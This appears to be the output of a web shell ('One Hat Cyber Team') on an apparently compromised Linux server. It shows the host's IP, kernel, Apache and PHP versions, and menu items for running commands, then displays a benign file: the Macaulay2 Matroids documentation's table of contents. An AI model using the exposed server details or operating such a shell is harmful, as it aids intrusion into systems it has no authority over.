One Hat Cyber Team
Your IP :
216.73.216.135
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
Macaulay2
/
Matroids
/
html
/
View File Name :
toc.html
<!DOCTYPE html> <html lang="en"> <head> <title>Matroids : Table of Contents</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <link type="text/css" rel="stylesheet" href="../../../../Macaulay2/Style/doc.css"> <link rel="stylesheet" href="../../../../Macaulay2/Style/katex/katex.min.css"> <script defer="defer" src="../../../../Macaulay2/Style/katex/katex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/auto-render.min.js"></script> <script> var macros = { "\\break": "\\\\", "\\ZZ": "\\mathbb{Z}", "\\NN": "\\mathbb{N}", "\\QQ": "\\mathbb{Q}", "\\RR": "\\mathbb{R}", "\\CC": "\\mathbb{C}", "\\PP": "\\mathbb{P}" }, delimiters = [ { left: "$$", right: "$$", display: true}, { left: "\\[", right: "\\]", display: true}, { left: "$", right: "$", display: false}, { left: "\\(", right: "\\)", display: false} ], ignoredTags = [ "kbd", "var", "samp", "script", "noscript", "style", "textarea", "pre", "code", "option" ]; document.addEventListener("DOMContentLoaded", function() { renderMathInElement(document.body, { delimiters: delimiters, macros: macros, ignoredTags: ignoredTags, trust: true }); }); </script> <style>.katex { font-size: 1em; }</style> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/copy-tex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/render-a11y-string.min.js"></script> <script src="../../../../Macaulay2/Style/prism.js"></script> <script>var current_version = '1.25.06';</script> <script src="../../../../Macaulay2/Style/version-select.js"></script> <link type="image/x-icon" rel="icon" href="../../../../Macaulay2/Style/icon.gif"> </head> <body> <div id="buttons"> <div> <a href="https://macaulay2.com/">Macaulay2</a> <span id="version-select-container"></span> » <a title="Macaulay2 documentation" href="../../Macaulay2Doc/html/index.html">Documentation </a> <br><a href="../../Macaulay2Doc/html/_packages_spprovided_spwith_sp__Macaulay2.html">Packages</a> » <span><a title="a package for computations with matroids" href="index.html">Matroids</a> :: <a href="toc.html">Table of Contents</a></span> </div> <div class="right"> <form method="get" action="https://www.google.com/search"> <input placeholder="Search" type="text" name="q" value=""> <input type="hidden" name="q" value="site:macaulay2.com/doc"> </form> next | previous | forward | backward | up | <a href="master.html">index</a> | <a href="toc.html">toc</a> </div> </div> <hr> <h1>Matroids : Table of Contents</h1> <ul> <li><span><a title="a package for computations with matroids" href="index.html">Matroids</a> -- a package for computations with matroids</span></li> <li><span><a title="affine geometry of rank n+1 over F_p" href="_affine__Geometry.html">affineGeometry</a> -- affine geometry of rank n+1 over F_p</span></li> <li><span><a title="returns all n-element matroids of rank r" href="_all__Matroids.html">allMatroids</a> -- returns all n-element matroids of rank r</span></li> <li><span><a title="returns all minors of one matroid in another" href="_all__Minors.html">allMinors</a> -- returns all minors of one matroid in another</span></li> <li><span><a title="whether two matroids are isomorphic" href="_are__Isomorphic_lp__Matroid_cm__Matroid_rp.html">areIsomorphic(Matroid,Matroid)</a> -- whether two matroids are isomorphic</span></li> <li><span><a title="bases of matroid" href="_bases.html">bases</a> -- bases of matroid</span></li> <li><span><a title="matrix of basis polytope" href="_basis__Indicator__Matrix.html">basisIndicatorMatrix</a> -- matrix of basis polytope</span></li> <li><span><a title="computes characteristic polynomial of a matroid" href="_characteristic__Polynomial_lp__Matroid_rp.html">characteristicPolynomial(Matroid)</a> -- computes characteristic polynomial of a matroid</span></li> <li><span><a title="an optional argument" href="___Check__Well__Defined.html">CheckWellDefined</a> -- an optional argument</span></li> <li><span><a title="computes chromatic polynomial of a graph" href="_chromatic__Polynomial.html">chromaticPolynomial</a> -- computes chromatic polynomial of a graph</span></li> <li><span><a title="circuits of matroid" href="_circuits.html">circuits</a> -- circuits of matroid</span></li> <li><span><a title="closure of a subset of a matroid" href="_closure.html">closure</a> -- closure of a subset of a matroid</span></li> <li><span><a title="the free coextension of a matroid" href="_coextension.html">coextension</a> -- the free coextension of a matroid</span></li> <li><span><a title="cogenerator of the Chow ring of a matroid" href="_cogenerator__Chow__Ring.html">cogeneratorChowRing</a> -- cogenerator of the Chow ring of a matroid</span></li> <li><span><a title="coloops of matroid" href="_coloops.html">coloops</a> -- coloops of matroid</span></li> <li><span><a title="connected components of matroid" href="_components_lp__Matroid_rp.html">components(Matroid)</a> -- connected components of matroid</span></li> <li><span><a title="contraction of subset of matroid" href="_contraction.html">contraction</a> -- contraction of subset of matroid</span></li> <li><span><a title="deletion of subset of matroid" href="_deletion.html">deletion</a> -- deletion of subset of matroid</span></li> <li><span><a title="dual matroid" href="_dual_lp__Matroid_rp.html">dual(Matroid)</a> -- dual matroid</span></li> <li><span><a title="associated to a modular cut or linear subclass" href="_elementary__Quotient.html">elementaryQuotient</a> -- associated to a modular cut or linear subclass</span></li> <li><span><a title="check whether the list is a modular cut or linear subclass" href="_elementary__Quotient_lp..._cm__Check__Well__Defined_eq_gt..._rp.html">elementaryQuotient(...,CheckWellDefined=>...)</a> -- check whether the list is a modular cut or linear subclass</span></li> <li><span><a title="use a modular cut or linear subclass" href="_elementary__Quotient_lp..._cm__Entry__Mode_eq_gt..._rp.html">elementaryQuotient(...,EntryMode=>...)</a> -- use a modular cut or linear subclass</span></li> <li><span><a title="of a matroid relative to a flat or modular cut" href="_extension.html">extension</a> -- of a matroid relative to a flat or modular cut</span></li> <li><span><a title="check whether the list is a modular cut or linear subclass" href="_extension_lp..._cm__Check__Well__Defined_eq_gt..._rp.html">extension(...,CheckWellDefined=>...)</a> -- check whether the list is a modular cut or linear subclass</span></li> <li><span><a title="use a modular cut or linear subclass" href="_extension_lp..._cm__Entry__Mode_eq_gt..._rp.html">extension(...,EntryMode=>...)</a> -- use a modular cut or linear subclass</span></li> <li><span><a title="flats of a matroid" href="_flats.html">flats</a> -- flats of a matroid</span></li> <li><span><a title="fundamental circuit of independent set" href="_fundamental__Circuit.html">fundamentalCircuit</a> -- fundamental circuit of independent set</span></li> <li><span><a title="f-vector of a matroid" href="_f__Vector_lp__Matroid_rp.html">fVector(Matroid)</a> -- f-vector of a matroid</span></li> <li><span><a title="find cycles of graph" href="_get__Cycles.html">getCycles</a> -- find cycles of graph</span></li> <li><span><a title="all isomorphisms between two matroids" href="_get__Isos.html">getIsos</a> -- all isomorphisms between two matroids</span></li> <li><span><a title="retrieves stored representation" href="_get__Representation.html">getRepresentation</a> -- retrieves stored representation</span></li> <li><span><a title="finds a k-separation of a matroid" href="_get__Separation.html">getSeparation</a> -- finds a k-separation of a matroid</span></li> <li><span><a title="(internal) ground set" href="_ground__Set.html">groundSet</a> -- (internal) ground set</span></li> <li><span><a title="whether a matroid has a given minor" href="_has__Minor.html">hasMinor</a> -- whether a matroid has a given minor</span></li> <li><span><a title="hyperplanes of a matroid" href="_hyperplanes.html">hyperplanes</a> -- hyperplanes of a matroid</span></li> <li><span><a title="Stanley-Reisner (circuit) ideal of matroid" href="_ideal_lp__Matroid_rp.html">ideal(Matroid)</a> -- Stanley-Reisner (circuit) ideal of matroid</span></li> <li><span><a title="the defining ideal of the Chow ring" href="_ideal__Chow__Ring.html">idealChowRing</a> -- the defining ideal of the Chow ring</span></li> <li><span><span class="tt">idealOrlikSolomonAlgebra</span> (missing documentation)<!--tag: idealOrlikSolomonAlgebra--> </span></li> <li><span><a title="independence complex of matroid" href="_independence__Complex_lp__Matroid_rp.html">independenceComplex(Matroid)</a> -- independence complex of matroid</span></li> <li><span><a title="independent subsets of a matroid" href="_independent__Sets_lp__Matroid_cm__Z__Z_rp.html">independentSets(Matroid,ZZ)</a> -- independent subsets of a matroid</span></li> <li><span><a title="indices of a sublist" href="_indices__Of.html">indicesOf</a> -- indices of a sublist</span></li> <li><span><a title="whether a matroid is 3-connected" href="_is3__Connected.html">is3Connected</a> -- whether a matroid is 3-connected</span></li> <li><span><a title="whether a matroid is representable over F_2" href="_is__Binary.html">isBinary</a> -- whether a matroid is representable over F_2</span></li> <li><span><a title="whether a matroid is connected" href="_is__Connected_lp__Matroid_rp.html">isConnected(Matroid)</a> -- whether a matroid is connected</span></li> <li><span><a title="whether a subset is dependent" href="_is__Dependent.html">isDependent</a> -- whether a subset is dependent</span></li> <li><span><a title="whether a matroid is an elementary quotient of another matroid" href="_is__Elementary__Quotient.html">isElementaryQuotient</a> -- whether a matroid is an elementary quotient of another matroid</span></li> <li><span><a title="whether a list of hyperplanes of a matroid is a linear subclass" href="_is__Linear__Subclass.html">isLinearSubclass</a> -- whether a list of hyperplanes of a matroid is a linear subclass</span></li> <li><span><a title="whether a list of flats of a matroid is a modular cut" href="_is__Modular__Cut.html">isModularCut</a> -- whether a list of flats of a matroid is a modular cut</span></li> <li><span><a title="whether 2 subsets are non-crossing" href="_is__Non__Crossing.html">isNonCrossing</a> -- whether 2 subsets are non-crossing</span></li> <li><span><a title="computes an isomorphism between isomorphic matroids" href="_isomorphism_lp__Matroid_cm__Matroid_rp.html">isomorphism(Matroid,Matroid)</a> -- computes an isomorphism between isomorphic matroids</span></li> <li><span><a title="distinct isomorphism classes" href="_iso__Types.html">isoTypes</a> -- distinct isomorphism classes</span></li> <li><span><a title="whether a matroid is positively orientable" href="_is__Positively__Orientable.html">isPositivelyOrientable</a> -- whether a matroid is positively orientable</span></li> <li><span><a title="whether a matroid is positively oriented" href="_is__Positively__Oriented.html">isPositivelyOriented</a> -- whether a matroid is positively oriented</span></li> <li><span><a title="whether a matroid is a quotient of another matroid" href="_is__Quotient.html">isQuotient</a> -- whether a matroid is a quotient of another matroid</span></li> <li><span><a title="whether a matroid is simple" href="_is__Simple_lp__Matroid_rp.html">isSimple(Matroid)</a> -- whether a matroid is simple</span></li> <li><span><a title="whether the input is a well-defined matroid" href="_is__Well__Defined_lp__Matroid_rp.html">isWellDefined(Matroid)</a> -- whether the input is a well-defined matroid</span></li> <li><span><a title="lattice of flats of a matroid" href="_lattice__Of__Flats.html">latticeOfFlats</a> -- lattice of flats of a matroid</span></li> <li><span><a title="associated to an elementary quotient or modular cut" href="_linear__Subclass.html">linearSubclass</a> -- associated to an elementary quotient or modular cut</span></li> <li><span><a title="check whether the list is a modular cut" href="_linear__Subclass_lp..._cm__Check__Well__Defined_eq_gt..._rp.html">linearSubclass(...,CheckWellDefined=>...)</a> -- check whether the list is a modular cut</span></li> <li><span><a title="loops of matroid" href="_loops.html">loops</a> -- loops of matroid</span></li> <li><span><a title="the class of all matroids" href="___Matroid.html">Matroid</a> -- the class of all matroids</span></li> <li><span><a title="constructs a matroid" href="_matroid.html">matroid</a> -- constructs a matroid</span></li> <li><span><a title="union of matroids" href="___Matroid_sp_pl_sp__Matroid.html">Matroid + Matroid</a> -- union of matroids</span></li> <li><span><a title="direct sum of matroids" href="___Matroid_sp_pl_pl_sp__Matroid.html">Matroid ++ Matroid</a> -- direct sum of matroids</span></li> <li><span><a title="whether two matroids are equal" href="___Matroid_sp_eq_eq_sp__Matroid.html">Matroid == Matroid</a> -- whether two matroids are equal</span></li> <li><span><a title="elements of matroid" href="___Matroid_sp_us_sp__List.html">Matroid _ List</a> -- elements of matroid</span></li> <li><span><a title="select method of specifying matroid" href="_matroid_lp..._cm__Entry__Mode_eq_gt..._rp.html">matroid(...,EntryMode=>...)</a> -- select method of specifying matroid</span></li> <li><span><a title="maximum weight basis using greedy algorithm" href="_max__Weight__Basis.html">maxWeightBasis</a> -- maximum weight basis using greedy algorithm</span></li> <li><span><a title="minor of matroid" href="_minor.html">minor</a> -- minor of matroid</span></li> <li><span><a title="associated to an elementary quotient or linear subclass" href="_modular__Cut.html">modularCut</a> -- associated to an elementary quotient or linear subclass</span></li> <li><span><a title="check whether the list is a linear subclass" href="_modular__Cut_lp..._cm__Check__Well__Defined_eq_gt..._rp.html">modularCut(...,CheckWellDefined=>...)</a> -- check whether the list is a linear subclass</span></li> <li><span><a title="nonbases of matroid" href="_nonbases.html">nonbases</a> -- nonbases of matroid</span></li> <li><span><a title="parallel connection of two matroids" href="_parallel__Connection.html">parallelConnection</a> -- parallel connection of two matroids</span></li> <li><span><a title="a positive orientation of a matroid" href="_positive__Orientation.html">positiveOrientation</a> -- a positive orientation of a matroid</span></li> <li><span><a title="projective geometry of dimension n over F_p" href="_projective__Geometry.html">projectiveGeometry</a> -- projective geometry of dimension n over F_p</span></li> <li><span><a title="quick checks for isomorphism between matroids" href="_quick__Isomorphism__Test.html">quickIsomorphismTest</a> -- quick checks for isomorphism between matroids</span></li> <li><span><a title="rank of a matroid" href="_rank_lp__Matroid_rp.html">rank(Matroid)</a> -- rank of a matroid</span></li> <li><span><a title="rank of a subset of a matroid" href="_rank_lp__Matroid_cm__Set_rp.html">rank(Matroid,Set)</a> -- rank of a subset of a matroid</span></li> <li><span><a title="relabel a matroid" href="_relabel.html">relabel</a> -- relabel a matroid</span></li> <li><span><a title="relaxation of matroid" href="_relaxation.html">relaxation</a> -- relaxation of matroid</span></li> <li><span><a title="restriction to subset of matroid" href="_restriction.html">restriction</a> -- restriction to subset of matroid</span></li> <li><span><a title="save matroid to file" href="_save__Matroid.html">saveMatroid</a> -- save matroid to file</span></li> <li><span><a title="search for a representation of a matroid over a finite field" href="_search__Representation.html">searchRepresentation</a> -- search for a representation of a matroid over a finite field</span></li> <li><span><a title="series connection of two matroids" href="_series__Connection.html">seriesConnection</a> -- series connection of two matroids</span></li> <li><span><a title="stores user-defined representation" href="_set__Representation.html">setRepresentation</a> -- stores user-defined representation</span></li> <li><span><a title="simple matroid associated to a matroid" href="_simple__Matroid.html">simpleMatroid</a> -- simple matroid associated to a matroid</span></li> <li><span><a title="creates built-in matroid" href="_specific__Matroid.html">specificMatroid</a> -- creates built-in matroid</span></li> <li><span><a title="spike matroid" href="_spike.html">spike</a> -- spike matroid</span></li> <li><span><a title="2-sum of matroids" href="_sum2.html">sum2</a> -- 2-sum of matroids</span></li> <li><span><a title="swirl matroid" href="_swirl.html">swirl</a> -- swirl matroid</span></li> <li><span><a title="theta matroid" href="_theta__Matroid.html">thetaMatroid</a> -- theta matroid</span></li> <li><span><a title="Sage format for matroid" href="_to__Sage__Matroid.html">toSageMatroid</a> -- Sage format for matroid</span></li> <li><span><a title="the truncation of a matroid with respect to a flat" href="_truncate_lp__Set_cm__Matroid_rp.html">truncate(Set,Matroid)</a> -- the truncation of a matroid with respect to a flat</span></li> <li><span><a title="the truncation of a matroid with respect to a flat" href="_truncate_lp__Z__Z_cm__Matroid_rp.html">truncate(ZZ,Matroid)</a> -- the truncation of a matroid with respect to a flat</span></li> <li><span><a title="evaluate Tutte polynomial" href="_tutte__Evaluate.html">tutteEvaluate</a> -- evaluate Tutte polynomial</span></li> <li><span><a title="Tutte polynomial of a matroid" href="_tutte__Polynomial_lp__Matroid_rp.html">tuttePolynomial(Matroid)</a> -- Tutte polynomial of a matroid</span></li> <li><span><a title="uniform matroid" href="_uniform__Matroid.html">uniformMatroid</a> -- uniform matroid</span></li> <li><span><a title="wheels/whirls" href="_wheel.html">wheel</a> -- wheels/whirls</span></li> <li><span><a href="___Working_spwith_sp__Chow_springs_spof_spmatroids.html">Working with Chow rings of matroids</a></span></li> </ul> </body> </html>